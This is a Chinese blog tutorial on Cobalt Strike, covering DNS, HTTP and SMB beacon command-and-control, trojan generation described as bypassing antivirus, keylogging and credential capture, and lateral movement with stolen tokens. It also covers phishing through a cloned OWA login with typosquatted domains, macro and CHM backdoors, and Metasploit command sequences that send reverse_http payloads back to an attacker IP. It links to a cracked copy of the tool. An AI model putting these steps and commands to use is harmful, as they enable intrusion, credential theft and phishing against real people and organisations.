前言

经常看到披露出来APT(Advanced Persistent Threat) 高级持续性威胁报告,据目前我所了解到的有常用两种攻击手法还有更多种手法水坑式攻击和鱼叉式钓鱼邮件攻击手法。其实我也想模仿这样攻击手法在渗透时候遇到有些目标简直是无从下手。很早之前就接触了Metasploit工具内网渗透非常强大,当时用过Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用。

Cobalt Strike集成了端口转发、扫描多模式端口监听Windows exe木马,生成Windows dll(动态链接库)木马,生成java木马,生成office宏病毒,生成木马捆绑钓鱼攻击,包括站点克隆目标信息获取java执行浏览器自动攻击等等。

360评价APT-TOCS攻击尽管看起来已经接近APT水准的攻击能力,但并非更多依赖攻击团队自身的能力,而是依托商业的自动化攻击测试平台来达成。

混合HTTP和DNS beacon有效载荷是CobaltStrike最喜欢的特性。此有效负载使用DNS请求回传给您。这些DNS请求是针对您的Cobalt Strike小组服务器具有权威的域的查找。DNS响应告诉Beacon进入睡眠或连接到您下载任务。DNS响应还会告诉Beacon如何从您的团队服务器下载任务。

DNS beacon

最初,这个有效负载将通过HTTP GET连接下载其所有任务。DNS beacon的目的是最小化有效载荷直接连接到您的需要。随着时间的推移,很明显,有些情况下,通过DNS下载任务也是很好的。

数据通道

今天,混合HTTP和DNS beacon可以通过HTTP,DNS A记录,DNS AAAA记录或DNS TXT记录下载任务。更好的是,这个有效载荷在它的目标上具有在这些数据信道之间改变的灵活性。使用Beacon的mode命令更改当前Beacon的数据通道。mode http是HTTP数据通道。mode dns是DNS A记录数据通道。mode dns6是DNS AAAA记录通道。并且, dns-txt模式是DNS TXT记录数据通道。

HTTP数据通道使用HTTP POST请求向您发送信息。DNS数据通道将用于您的团队服务器的数据嵌入到长主机名中。此主机名的最大长度由可扩展C2 maxdns选项设置。DNS TXT通道将使用此值的100%。DNS AAAA通道将使用此值的50%。DNS A通道将使用此值的25%。

请注意,在有可用任务之前,DNS Beacon不会检入。使用checkin命令请求下次呼叫回家时DNS beacon检查。

Windows / beacon_dns / reverse_http有效载荷通过HTTP连接分阶段。当您创建此侦听器时,请注意您正在配置主机和端口Cobalt Strike将使用通过HTTP分阶段此有效负载。当您选择设置此有效负载时,Cobalt Strike知道在端口53上站起来的DNS服务器。

Windows / beacon_dns / reverse_dns_txt有效负载使用DNS TXT记录下载和分级混合HTTP和DNS beacon。当您创建此侦听器时,请注意,您正在配置该有效负载将用于HTTP通信的端口。再次,Cobalt Strike知道在53端口站起来一个DNS服务器。

如果使用HTTP stager设置混合HTTP和DNS beacon有效负载,请注意,您仍然可以请求DNS TXT记录存储器。许多Cobalt Strike功能将允许您指定侦听器名称(DNS)以强制使用DNS TXT记录存档。

DNS域名域名

一旦你创建一个监听器,并按保存,Cobalt Strike会要求你提供一个域名列表。您的Cobalt Strike团队服务器系统必须对您指定的域具有权威性。创建DNS A记录并将其指向您的Cobalt Strike团队服务器。使用DNS NS记录将多个域或子域委派给您的Cobalt Strike团队服务器的A记录。

监听器配置

要测试您的DNS配置,请打开一个终端并键入nslookup jibberish.beacon.domain 。如果您获得0.0.0.0的A记录回复,那么您的DNS已正确设置。如果您没有收到回复,则您的DNS配置不正确,Hybrid HTTP和DNS Beacon将不会与您通信。

确保您的DNS记录引用网络接口上的主地址。Cobalt Strike的DNS服务器将始终从您的网络接口的主地址发送响应。当DNS解析器从一个服务器请求信息,但从另一个服务器接收到答复时,倾向于丢弃答复。

如果您在NAT设备后面,请确保您使用您的公共IP地址为NS记录和设置您的防火墙转发UDP流量在端口53到您的系统。Cobalt Strike包括一个控制Beacon的DNS服务器。

SMB  Beacon

windows / beacon_smb / bind_pipe是Cobalt Strike的SMB Beacon。SMBBeacon使用命名管道通过父Beacon进行通信。此对等通信与Beacons在同一主机上工作。它也适用于整个网络。Windows在SMB协议中封装命名管道通信。因此,名称,SMB Beacon。
您可以使用SMBBeacon作为大多数Beacon功能的目标侦听器。影响本地主机的功能将通过设置的TCP连接进行分级,以避免本地基于主机的防火墙的威胁。Beacon的横向移动功能将通过命名管道来调度SMBBeacon。
您还可以导出不连续的SMB Beacon可执行文件或DLL。转到攻击- > 包- > Windows可执行文件(S)并选择SMBBeacon。

HTTP或DNSBeacon可以成为SMB信标。使用模式smb进行此更改。一旦Beacon成为一个SMBBeacon,没有办法使它通过HTTP或DNS的Beacon。如果你想杀死一个SMB Beacon,使用exit命令。如果您想通过HTTP或DNS制作主机Beacon,请对SMB Beacon进行任务,为您提供另一个Beacon会话。

为了融入正常流量,链接的Beacons使用Windows命名管道进行通信。此流量封装在SMB协议中。这种方法有几个注意事项:

1.具有SMB Beacon的主机必须接受端口445上的连接

2.您只能链接由同一Cobalt Strike实例管理的Beacon。

如果在尝试链接到Beacon之后收到错误5(访问被拒绝):窃取域用户的令牌或使用 shell net使用\\ host \ IPC $ / U:DOMAIN \ user密码与主机建立会话。不需要管理员用户。任何有效的域用户都会这样做。一旦你有一个会话,尝试再次链接到灯塔。

要销毁Beacon链路,请在父或子节点中使用unlink [ip address]。稍后,您可以再次链接到未链接的灯塔(或从另一个灯塔链接到它)。

Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。
其支持多主机连接,部署 好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。
目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的 通讯。

通过DNS控制目标

通过DNS来控制目标和渗透好处不多说把,大家都知道,不开端口,能绕过大部分防火墙,隐蔽性好等等。Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。

1. 域名设置
首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的
然后再创建2个或3个ns记录指向刚才创建的A记录
这样我们就可以通过dns找到我们的metasploit服务器了

2. Cobalt Strike设置
在Cobalt Strike中我们添加一个listener
Edit Listener
Payload windows/beacon_dns/reverse_http
host
port 80
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个ns记录

监听我们设置好了,接下来创建一个木马测试下。

3. 木马生成
在attack->packages中找到windows木马生成

Windows Executable
Listener: beacon(DNS)
Output: Windows EXE
Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。(连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)

把生成的DNS.EXE放到虚拟机中运行。
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们
右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面

首先来设置的是传输的模式,有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多
beacon> mode dns-txt(这里可以用TAB补齐命令的)

键入help可以看到支持的命令
这里就演示几个常用的命令

Getuid      获取当前用户
Execute     运行可执行程序(不能执行shell命令)
Shell       执行shell命令
Meterpreter   返回一个meterpreter会话
这中方式好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令我返回结果比较慢,在过防火墙方面还是不错的。

View
Applications -> 获取浏览器版本信息

Credentials -> 凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。

Downloads -> 下载文件Event Log -> 主机上线记录以及团队协作聊天记录

Keystrokes -> 键盘记录

Proxy Pivots -> 代理模块

Screenshots -> 进程截图

Script Console -> 控制台

Targets -> 显示目标

Web Log -> Web访问记录

Client-side Attacks
通常我的目标安全设置的非常变态、常规的渗透手法都还没找出口子时就可以利用此方法来突破。当我的目标只是一个邮箱时我根本无法从社工下手获得我想要的东西就可以利用此方法来突破。
发送恶意邮件给内部企业人员获取内部一定权限进行内网渗透。

Packages 这些模块主要来生成Payload
HTML Application 生成恶意的HTA木马文件
MS Office Macro 生成office宏病毒文件
Payload Generator 生成各种语言版本的payload
USB/CD AutoPlay 生成利用自动播放运行的木马文件
Windows Dropper 捆绑器,能够对文档类进行捆绑
Windows Executable 生成可执行exe木马
Windows Executable(S)生成无状态的可执行exe木马

Web Drive-by 生成一段可快速获取权限Payload的
Manage 主要管理我们所创建的Payload以及各类PowerShell管理地址
Clone Site 克隆网站还可以通过克隆的网站实现钓鱼。这里以某个OWA为实例
如果你没有设置SystemProfiler是没有任何信息的所以这里需要设置一下。当输入后回车会跳转到正常的网页上以免被发现。这里只是为了演示,当真正攻击时为了更加逼真,你需要注册相同类似的域名,比如www.taobao.xom、可以注册另类域名为www.ta0b0o.com类似。当目标输入用户名以及密码时。看我们的控制台:
Host File 提供一个文件下载,可以修改Mime信息除了IE能触发外其它浏览器都会报毒IE还需要点运行才可执行
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击
Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本
Spear Phish 是用来邮件钓鱼的模块

Reporting生成报告
activity report 活动报告生成
Hosts report 主机报告
Indicators opromisef com  目标报告
Sessions report 会话报告
Social engineering report 社会工程报告
Export data  数据出口

制作CHM木马
Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。
在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

freebuf:http://www.freebuf.com/sectool/133369.html

use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST 192.168.81.135
set LPORT 8880
set SESSION 1
exploit
设置本地监听ip和端口,由于我们的监听器是cobaltstrike的,所以要用到cobaltstrike机器的ip和端口
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置
set DisablePayloadHandler true
Cobalt结合metasploit
service apache2 stop
use exploit/multi/browser/adobe_flash_hacking_team_uaf
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set PrependMigrate true
set lhost 192.168.211.179
set lport 80

破解方法:http://lr3800.com/2017/11/22/cobalt-strike-3-8%E7%A0%B4%E8%A7%A3%E7%89%88/

cobalt操作:https://evi1cg.me/archives/Cobalt_strike.html#directory096301840076183831

强化功能:https://evi1cg.me/archives/Cortana.html#directory0101105771317238523

神兵利器--Cobalt Strike相关推荐

  1. Cobalt Strike 的安装与简单使用

    一.什么是Cobalt Strike Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动. 二.如何使用 Cobalt Strik ...

  2. cobaltstrike扩展_Malwarebytes:使用可变C2下发Cobalt Strike的APT攻击

    6月中旬,Malwarebytes Labs的研究人员发现了一个伪装成简历的恶意Word文档,该文档使用模板注入来删除.Net Loader.研究人员认为这是与APT攻击有关的多阶段攻击的第一部分.在 ...

  3. Mac安装Cobalt Strike 4 【亲测有用】

    Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS.早期以Metasploit为基础的GUI框架式渗透测试工具,而现在Cobalt Strike已经不再使用MS ...

  4. Cobalt Strike 3.13的新功能

    Cobalt Strike 3.13现已推出.此版本添加了TCP Beacong,进程参数欺骗,并将Obfuscate和Sleep功能扩展到SMB和TCP Beacons. TCP Beacon Co ...

  5. cobalt strike profile

    cobalt strike 配置解读 此处以最新版 jquery-c2.4.3.profile文件解析 适应Cobalt Strike 4.3 版本 其他版本会有标注 cobalt strike 4. ...

  6. Cobalt Strike 域内渗透

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Co ...

  7. gophish配合邮件服务器,【CS】Cobalt Strike发送钓鱼邮件

    0x00 简介 关于Spear phish 和发件人伪造的工具有很多个,比如gophish.SimpleEmailSpoofer.命令行工具swaks等,每个工具都有其特点,当然Cobalt Stri ...

  8. MoveKit:一款功能强大的Cobalt Strike横向渗透套件

    关于MoveKit MoveKit是一款功能强大的Cobalt Strike横向渗透套件,本质上来说MoveKit是一个Cobalt Strike扩展,它利用的是SharpMove和SharpRDP ...

  9. DAY41:Cobalt Strike 工具使用

    DAY41:Cobalt Strike 工具使用 1.Cobalt Strike 概述 ​ Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器. ​ 自 3.0 以后已 ...

最新文章

  1. 30 万奖金悬赏 | CSDN 软件开发精英赛即日启动!
  2. Java实现批量修改文件名,重命名
  3. Ubuntu 12.04 root用户登录设置
  4. 惠普台式计算机系列,惠普发布设计笔记本、设计台式电脑等Z系列产品
  5. 【论文学习】Densely Connected Convolutional Networks 学习
  6. python mysqldb insert_python MySQLdb使用教程详解
  7. 如何更改计算机开机壁纸,win7开机登录界面的壁纸怎么修改
  8. 编写C\Cpp程序中函数声明定义中的常见错误
  9. 自定义View显示超大图片
  10. 3种常见的统计学方法
  11. Lipschitz常数、Lipschitz条件
  12. python随笔:round函数的使用
  13. 【5G之道】第十四章:异构网络部署
  14. css3价格斜切_css3 斜切角/斜边的实现方式
  15. iOS旧版微信SDK升级1.8.6版本小白踩坑记
  16. 近期中国移动用户无法访问csdn博客
  17. git pul 无法拉取代码问题
  18. 【按键精灵篇】如何做一个自动打开APP进入注册页面自动输入自己手机号
  19. 朴素贝叶斯算法概率相关概念
  20. 【图神经网络】图神经网络(GNN)学习笔记:GNN的应用简介

热门文章

  1. wingw-w64安装时 the file has been downloaded incorrectly!
  2. 国内可以为程序员提供兼职的平台有哪些?
  3. 在虚拟机中通过vs2010连接到2013 access数据库
  4. 项目(day01网站流量指标统计)
  5. 一到面试就紧张,该怎么办?
  6. 修改Chrome 默认打开网址
  7. 水晶报表的中文版下载
  8. 车架号图像识别,车架号拍照识别,车架号扫描识别,车架号OCR识别
  9. 超分辨率数据集(待填坑版)
  10. 【考试记录】Apsara Clouder大数据技能认证:MOOC网站日志分析